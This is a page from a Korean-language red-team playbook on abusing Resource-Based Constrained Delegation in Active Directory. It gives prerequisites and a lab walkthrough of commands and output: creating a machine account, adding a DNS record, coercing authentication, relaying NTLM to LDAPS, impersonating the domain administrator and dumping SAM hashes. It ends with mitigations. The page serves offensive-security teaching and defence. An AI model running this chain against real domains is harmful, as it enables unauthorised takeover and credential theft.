📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 공격 조건
  • 배경 지식
  • RBCD (Resource-Based Constrained Delegation)
  • 실습
  • 대응 방안
  • 레퍼런스
  1. 권한 상승
  2. AD 권한 상승

Resource-Based Constrained Delegation (RBCD)

Resource-Based Constrained Delegation (이하 RBCD, rbcd)는 타겟 호스트의 ms-DS-AllowedToActOnBehalfOfOtherIdentity 액티브 디렉토리 오브젝트 특성을 조작해 공격자의 머신 계정이 타겟 호스트에 접근할 때 높은 권한의 도메인 유저 (도메인 관리자, 등)을 impersonation 할 수 있게 하는 공격이다.

공격 조건

  • 공격자가 도메인 유저 권한을 가지고 있다

  • 도메인 내 ms-DS-MachineAccountQuota 가 0 이상이다 (디폴트 값: 10)

  • 타겟 서버가 강제 인증이 가능한 상태 (WebDav, RPC 기반 강제 인증, 등) 다

  • 도메인 컨트롤러의 LDAP Signing 이 Required 가 아니다

위 공격 조건들이 모두 맞아 떨어질때, 공격자는 RBCD를 이용해 타겟 서버를 장악할 수 있게 된다. 예를 들어 내부망 내에 WebDAV가 활성화되어 있는 서버가 500대 존재한다면, 그 500대를 모두 장악할 수 있다.

배경 지식

ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성은 서버 A가 서버 B에 접근할 때, 다른 유저로 가장 (impersonate) 할 수 있도록 해주는 특성이다. 이는 Kerberos Double Hop 문제를 해결할 때 사용된다. 다음의 문제 시나리오를 생각해보자.

유저 -> 웹 서버 -> 데이터베이스 서버 

유저의 데이터를 관리하는 데이터베이스(디비) 서버가 있고, 그 앞에 프론트엔드 격의 웹 서버가 있다고 가정해보자. 유저는 자신의 데이터를 디비에서 꺼내오고 싶다. 그러려면 웹 서버를 통해야한다. 하지만 웹 서버의 입장에서는 디비로 무작정 가서 "나 웹 서번데, choi@choi.local" 유저의 데이터 내놔" 라고 할 수 없다. 디비 서버 입장에서도 "넌 웹 서번데 너가 왜 choi@choi.local 유저 데이터를 내놓으라 마라야?" 라는 반응을 보일 것이다. 이 문제를 "Double Hop" 문제라고 하고, 이를 해결하기 위해서 커버로스 Constrained Delegation 과 Resource-Based Constrained Delegation이 사용된다.

RBCD (Resource-Based Constrained Delegation)

RBCD는 특정 호스트의 ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성을 수정해 해당 호스트에 접근하는 다른 호스트가 도메인 유저를 가장 할 수 있도록 허락해주는 특성이다.

위 Double Hop 예시를 들어보자면, 디비 서버의 ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성을 수정해 "나 (디비 서버)에게 접근하는 호스트들 중, 웹 서버는 도메인 관리자 유저로서 나에게 접근을 허락합니다" 라는 설정을 하는 것이다. 그렇게 되면 웹 서버는 도메인 관리자 유저로서 디비 서버에 접근할 수 있게 된다.

RBCD를 악용하기 위해서는 다음 2개 중 하나의 조건이 필요하다

  1. 타겟 서버에게 쓰기 권한을 가지고 있는 유저/머신 계정을 가지고 있다

  2. 타겟 서버가 HTTP 기반의 Net-NTLM 인증 트래픽을 보낼 수 있는 강제 인증에 취약한 상태이며, 도메인의 MachineAccountQuota 가 0 이상이고 (디폴트: 10), 도메인 컨트롤러가 LDAP Signing 활성화가 되어있지 않을 때

이 페이지에서는 #2번 시나리오에 대해 설명한다.

RBCD 공격 순서는 다음과 같다.

  1. 공격자는 ms-dsMachineAccountQuota 가 0 이상인 도메인에서 도메인 유저 권한으로 도메인에 머신 계정 - fake$@choi.local (fake.choi.local) 을 추가한다.

  2. 타겟 서버에게 HTTP 기반의 강제 인증을 실행한다. 자주 쓰이는 것은 WebDav 서비스에게 printerbug MS-RPRN - Printerbug / Print Spooler 을 사용하되, 강제 인증 도착 주소를 공격자 머신 계정의 DNS 호스트 이름으로 지정하는 것이다.

  3. 타겟 서버는 공격자 머신 계정의 DNS 호스트 이름으로 HTTP 기반의 Net-NTLM 트래픽을 전송한다.

  4. 공격자 서버는 이 트래픽을 릴레이 해 도메인 컨트롤러의 LDAP 서비스로 릴레이 공격을 실행한다.

  5. 릴레이 공격을 통해 공격자 서버는 타겟 서버의 맥락 (context) 로 도메인 컨트롤러에게 가서 "내가 타겟 서버인데, 내 ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성을 바꿔주세요. 나한테 접근하는 호스트들 중에 fake$@choi.local 이라는 머신 계정은 도메인 유저 아무나 가장 (impersonate) 할 수 있도록 설정해주세요" 라고 요청한다. 도메인 컨트롤러는 타겟 서버가 자신의 특성을 바꿔달라고 요청한 것으로 착각할테니 (릴레이 공격이라), 특성을 수정해준다.

  6. 특성이 수정됐기 때문에 공격자는 이제 fake$@choi.local 머신 계정으로 타겟 서버에 접근할 때 아무 도메인 유저나 가장 (impersonate)할 수 있게 되었다. 이제 타겟 서버로 도메인 관리자로 가장한채 접근해 타겟 서버를 장악한다.

실습

꽤나 복잡한 공격이기 때문에 몇 가지 조건들을 확인한다.

  1. 도메인 유저 권한을 가지고 있어야한다.

  2. 도메인의 ms-DS-MachineAccountQuota 가 0 이상인지 확인한다

    1. cme ldap <dc> -u <u> -p <p> -M maq

  3. 도메인 컨트롤러의 LDAP Signing 이 Not Required 상태인지 확인한다

    1. cme ldap <dc> -u <u> -p <p> -M ldap-checker

  4. 타겟 서버가 WebDAV 서비스를 실행하고 있는지 확인한다

    1. cme smb <target> -u <u> -p <p> -M webdav

모든 조건들이 확인됐다면 공격을 시작한다.

  1. 도메인 내 공격자 머신 계정을 생성한다.

└─# impacket-addcomputer choi.local/low:'Password123!' -dc-ip 192.168.40.150
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
                                                                                                   
[*] Successfully added machine account DESKTOP-86TFUIC2$ with password ipIVa07EaG0gtxAQjUUNctIlBzesUPbI.
  1. 공격자 머신 계정의 DNS 레코드를 LDAP을 통해 추가한다. 아래 명령어는 아까 생성한 DESKTOP-8GTFUIC2$ 머신 계정의 DNS 레코드를 현재 공격자 컴퓨터인 192.168.40.132 에, 레코드 이름은 redteamplaybook.choi.local 로 추가했다.

└─# python3 dnstool.py -u choi.local\\'DESKTOP-86TFUIC2$' -p 'ipIVa07EaG0gtxAQjUUNctIlBzesUPbI' -a add -r redteamplaybook -d 192.168.40.132 ldaps://192.168.40.150                                    

[-] Connecting to host...                                                                                                                                                                             
[-] Binding to host                                                                                                                                                                                   
[+] Bind OK                                                                                        
[-] Adding new record                            
[+] LDAP operation completed successfully

이제 DNS 레코드를 확인해보면 redteamplaybook.choi.local 은 현재 공격자 머신의 IP 주소인 192.168.40.132 로 resolve가 된다.

└─# host redteamplaybook.choi.local
redteamplaybook.choi.local has address 192.168.40.132
  1. 타겟 서버에게 강제 인증 공격을 실행한다. 강제 인증 자체는 MS-RPRN을 악용하는 Printerbug을 사용한다. 타겟 서버에게 "redteamplaybook@80/helloworld 라는 곳으로 가세요" 라고 얘기를 해주는데, 이는 사실상 http://redteamplaybook.choi.local:80/helloworld 와 같은 개념이다. 이 URL은 WebDAV 서비스가 Net-NTLM 트래픽을 사용해 방문할 것이다.

# FQDN이 아니라, 딱 호스트이름만 쓴다. 
└─# python3 printerbug.py choi.local/low:'Password123!'@192.168.40.151 redteamplaybook@80/helloworld
[*] Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at 192.168.40.151
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE - The RPC server is unavailable.
[*] Triggered RPC backconnect, this may or may not have worked
  1. 타겟 서버의 WebDAV 서비스가 공격자 머신인 http://redteamplaybook.choi.local:80/helloworld 에 방문했다. 이 Net-NTLM 트래픽을 도메인 컨트롤러에게 릴레이한다. 이때, --delegate-access 플래그와 --escalate-user <생성한-공격자-머신-계정> 을 지정해 공격자 머신 계정이 타겟 서버의 ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성에 들어갈 수 있도록 만든다.

└─# ntlmrelayx.py -t ldaps://dc01.choi.local -wh 192.168.40.151 --delegate-access --escalate-user 'DESKTOP-86TFUIC2$'

[*] HTTPD(80): Connection from 192.168.40.151 controlled, attacking target ldaps://dc01.choi.local
[*] HTTPD(80): Authenticating against ldaps://dc01.choi.local as CHOI/WKSTN01$ SUCCEED
[*] Delegation rights modified succesfully!
[*] DESKTOP-86TFUIC2$ can now impersonate users on WKSTN01$ via S4U2Proxy
  1. 이제 공격자의 머신 계정 DESKTOP-86TFUIC2$ 은 타겟 서버에 접근할 때 아무런 도메인 유저로서 가장 (impersonate) 할 수 있게 됐다. 타겟 서버의 CIFS 서비스로 접근하는 커버로스 서비스티켓을 발급받을 때, 도메인 관리자인 Administrator@choi.local 유저로 가장 (impersonate) 한다.

└─# impacket-getST choi.local/'DESKTOP-86TFUIC2$':'ipIVa07EaG0gtxAQjUUNctIlBzesUPbI' -spn cifs/wkstn01.choi.local -impersonate Administrator
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
  1. 발급 받은 서비스티켓은 "도메인 관리자로서 타겟 서버의 CIFS 서비스에 접근 할 수 있는" 서비스티켓이다. 이 티켓을 활용해 타겟 서버를 장악한 뒤, SAM 데이터베이스를 덤프한다.

└─# cme smb 192.168.40.151 --use-kcache --sam 

SMB         192.168.40.151  445    WKSTN01          [*] Windows 10.0 Build 19041 x64 (name:WKSTN01) (domain:choi.local) (signing:False) (SMBv1:False)
SMB         192.168.40.151  445    WKSTN01          [+] choi.local\Administrator from ccache (Pwn3d!)
SMB         192.168.40.151  445    WKSTN01          [+] Dumping SAM hashes
SMB         192.168.40.151  445    WKSTN01          Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB         192.168.40.151  445    WKSTN01          Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[ ... ] 

대응 방안

RBCD는 액티브 디렉토리의 커버로스나 ms-DS-AllowedToActOnBehalfOfOtherIdentity 특성의 취약점을 익스플로잇 하는 공격이 아니다. 그저 커버로스 Delegation의 개념과 액티브 디렉토리의 오브젝트 특성을 공격자의 관점에서 악용하는 공격일 뿐이다.

따라서 대응 방안은 LDAP NTLM 릴레이 공격시 릴레이와 릴레이를 통한 특성 변경이 불가능 하도록 LDAP Signing 을 활성화 시키는 것 뿐이다. 다음의 GPO를 설정해 LDAP Signing 을 Required 로 설정한다.

  • (Default Domain Controller Policy 혹은 GPO) > Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > Domain controller: LDAP server signing requirement - REQUIRED 로 설정

그 외에는 WebDAV 서비스를 사용하지 않는 호스트들의 WebClient 서비스를 비활성화 하는 방법이 있다. 완벽히 RBCD를 막을 순 없지만, 공격자의 입장에서 공격이 좀 더 까다로워진다. 다음의 파워쉘 명령어를 사용하거나 명령어를 GPO화 시켜 도메인 호스트들에게 적용한다.

  • Remove-WindowsFeature Web-Dav-Publishing
  • stop-service -name WebClient

레퍼런스

PreviousDHCPv6 포이즈닝NextSCCM

Last updated 1 year ago

⬆️
No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active DirectoryShenanigans Labs